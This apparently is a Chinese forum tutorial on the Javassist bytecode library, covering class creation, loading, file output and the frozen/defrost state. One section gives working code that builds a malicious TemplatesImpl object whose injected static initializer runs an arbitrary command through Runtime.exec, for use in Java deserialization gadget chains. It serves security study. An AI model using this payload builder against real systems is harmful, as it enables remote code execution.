找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

3178

积分

0

好友

442

主题
发表于 昨天 04:12 | 查看: 1| 回复: 0

在Java的世界里,.class 文件承载着编译后的字节码,由JVM负责加载与执行。当我们需要在程序运行时动态地创建或修改类时,字节码操作库就派上了用场。在众多工具中,Javassist 以其相对简单易用的API脱颖而出,尤其适合快速进行类的动态生成与修改。

其官方介绍清晰地阐述了它的定位与能力:

Javassist官方功能介绍截图

简单来说,Javassist是一个用于编辑Java字节码的类库。它允许程序在运行时定义新类,并在JVM加载类文件时进行修改。它提供了两个层次的API:源代码级别字节码级别。使用源代码级API,你甚至可以用Java源代码的形式来指定要插入的字节码,Javassist会即时编译它,这大大降低了对Java字节码规范知识的要求。本文将重点探讨源代码级API的应用。

使用前,需要在项目中引入依赖(以Maven为例):

<dependency>
    <groupId>javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.12.1.GA</version>
</dependency>

使用Javassist创建第一个动态类

让我们从一个简单的例子开始,直观感受Javassist是如何工作的。首先需要了解两个核心类:

  • CtClass (compile-time class):代表一个类在编译时的结构,是用于分析和修改类文件的抽象。
  • ClassPool:作为 CtClass 对象的容器,负责管理和缓存类的字节码表示。当需要一个类时,ClassPool 会读取类文件并构建对应的 CtClass 对象。

下面的代码演示了如何创建一个名为 Point 的空类:

package com.xyuxu.javasec.JavaAssist;

import javassist.ClassPool;
import javassist.CtClass;

public class JavaAssistTest {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Point");
        System.out.println(cc.getName());
    }
}

运行上述代码,控制台会输出 Point。此时,Point 类仅存在于Javassist的内存表示中,并未被JVM加载。

运行结果输出Point

那么,如何将其加载到JVM中呢?最简单的方法是调用 CtClasstoClass() 方法:

// ... 前述代码相同
CtClass cc = pool.makeClass("Point");
cc.toClass(); // 加载到当前线程的上下文类加载器

另一种更灵活的方式是使用 toBytecode() 方法获取字节码数组,然后通过自定义的 ClassLoader 进行加载。这种方式允许你使用不同的类加载器多次加载同名类,在某些安全研究或动态代理场景中非常有用。

package com.xyuxu.javasec.JavaAssist;

import javassist.ClassPool;
import javassist.CtClass;

public class JavaAssistTest {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Point");
        byte[] bytes = cc.toBytecode();
        ClassLoader loader = new ClassLoader() {
            protected Class<?> findClass(String name) {
                return defineClass(name, bytes, 0, bytes.length);
            }
        };
        Class clazz = loader.loadClass("Point");
        System.out.println(clazz.getName());
    }
}

除了加载到JVM,我们还可以将生成的字节码直接写入本地文件,方便查看或存储。下面是一个更完整的例子:创建一个 Point 类,并为其添加一个 sayHello 方法。

package com.xyuxu.javasec.JavaAssist;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

public class JavaAssistTest {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass cc = pool.makeClass("Point");

        CtMethod method = CtMethod.make(
                "public void sayHello() { System.out.println(\"Hello, World\"); }",
                cc
        );
        cc.addMethod(method);
        cc.writeFile("JavaAssist"); // 将类文件写入“JavaAssist”目录
    }
}

执行后,你可以在指定的目录下找到生成的 Point.class 文件。

生成的Point类代码截图

CtClass 提供了丰富的方法来操作类结构,以下是部分常用方法:

  • addConstructor():添加构造方法
  • addField():添加成员变量
  • addInterface():添加接口
  • addMethod():添加方法
  • freeze():冻结类,禁止后续修改
  • defrost():解冻类,允许再次修改
  • detach():从 ClassPool 中移除
  • toBytecode():生成字节码数组
  • toClass():加载为 JVM 中的 Class 对象
  • writeFile():写入 .class 文件
  • setModifiers():设置访问修饰符

安全实战:构造恶意的 TemplatesImpl 类

了解了基础操作后,我们进入一个更贴近实际的安全应用场景:利用 Javassist 构造一个恶意的 TemplatesImpl 对象。

TemplatesImpl 是 Java 反序列化漏洞利用链中的一个“常客”。许多 Gadget 链的最终目标就是触发其 getTransletInstance() 方法,该方法会动态加载并实例化其 _bytecodes 字段中的字节码,从而执行任意代码。

我们的目标是用 Javassist 生成这样一段恶意字节码。首先,编写一个方法来创建符合 TemplatesImpl 加载要求的字节码:

public static byte[] createTemplatesImplBytes(String command) throws Exception {
    ClassPool pool = ClassPool.getDefault();
    // 1. 创建一个全新的类,使用纳秒时间戳避免类名冲突
    CtClass cc = pool.makeClass("StubTransletPayload" + System.nanoTime());

    // 2. 设置父类为 AbstractTranslet (TemplatesImpl要求的Translet类)
    CtClass superClass = pool.get(com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet.class.getName());
    cc.setSuperclass(superClass);

    // 3. 创建 static 静态代码块,插入恶意命令
    // 对命令中的特殊字符进行转义处理
    String safeCommand = command.replace("\\", "\\\\").replace("\"", "\\\"");
    String staticBlock = "java.lang.Runtime.getRuntime().exec(\"" + safeCommand + "\");";
    cc.makeClassInitializer().setBody("{" + staticBlock + "}");

    // 4. 必须实现 AbstractTranslet 的两个抽象方法 (transform),否则类无法实例化
    String method1 = "public void transform(" + com.sun.org.apache.xalan.internal.xsltc.DOM.class.getName() + " document, " + com.sun.org.apache.xalan.internal.xsltc.runtime.SerializationHandler.class.getName() + "[] handlers) throws " + com.sun.org.apache.xalan.internal.xsltc.TransletException.class.getName() + " {}";
    String method2 = "public void transform(" + com.sun.org.apache.xalan.internal.xsltc.DOM.class.getName() + " document, " + com.sun.org.apache.xalan.internal.xsltc.dom.DTMAxisIterator.class.getName() + " iterator, " + com.sun.org.apache.xalan.internal.xsltc.runtime.SerializationHandler.class.getName() + " handler) throws " + com.sun.org.apache.xalan.internal.xsltc.TransletException.class.getName() + " {}";

    cc.addMethod(CtMethod.make(method1, cc));
    cc.addMethod(CtMethod.make(method2, cc));

    byte[] bytes = cc.toBytecode();
    cc.detach(); // 使用后从Pool中移除,避免内存占用
    return bytes;
}

有了恶意字节码,接下来就可以组装 TemplatesImpl 对象了。这里使用了反射工具类 Reflections 来设置私有字段(注:你需要引入 org.reflections 库或自行实现字段设置逻辑)。

public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
    byte[] evilBytecode = createTemplatesImplBytes(command);

    final TemplatesImpl templates = new TemplatesImpl();
    // 使用反射设置关键字段
    Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{evilBytecode});
    Reflections.setFieldValue(templates, "_name", "foo" + System.nanoTime()); // 任意名称
    Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); // 必要的工厂实例

    return templates;
}

至此,一个包含恶意静态代码块的 TemplatesImpl 对象就构造完成了。当该对象的 newTransformer()getTransletInstance() 方法被调用时,静态代码块中的命令就会被执行。

理解“冻结”状态

在使用 CtClass 时,需要注意一个重要的概念:冻结 (Frozen)

当一个 CtClass 对象通过 writeFile()toClass()toBytecode() 方法被转换后,Javassist 会默认将其标记为“冻结”状态。一旦冻结,你就不能再修改这个 CtClass 对象了(例如修改父类、添加方法)。这是因为JVM本身不允许对已加载的类进行结构性的重定义。

如果需要继续修改,可以调用 defrost() 方法来解冻它:

CtClass cc = ...;
// ...
cc.writeFile(); // 操作后,cc被冻结
cc.defrost();   // 解冻
cc.setSuperclass(...); // 现在可以继续修改了

不过请记住,解冻操作仅作用于 CtClass 这个Javassist内部对象本身。通过 defrost() 后进行的修改,不会影响 JVM 中已经加载的那个 Class 对象。如果你希望修改生效,必须重新调用 toBytecode() 并利用新的 ClassLoader 加载,或者将修改后的类写出为新的文件。

通过本文的介绍,你应该对如何使用Javassist进行基础的Java字节码操作有了直观认识,并了解了其在安全研究中的一个典型应用。无论是进行动态代理、AOP编程,还是分析或构造特定的利用链,掌握字节码操作都是一项非常有价值的技能。如果你对更深层次的字节码工程或安全攻防技术感兴趣,欢迎在 云栈社区 交流讨论。




上一篇:2026年AI市场格局、技术趋势与创业挑战:大厂、独角兽与创业者的九大研判
下一篇:Vue3实战:用一年时间自研AI协同文档编辑器JitWord
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2026-2-9 00:40 , Processed in 0.316472 second(s), 38 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2026 云栈社区.

快速回复 返回顶部 返回列表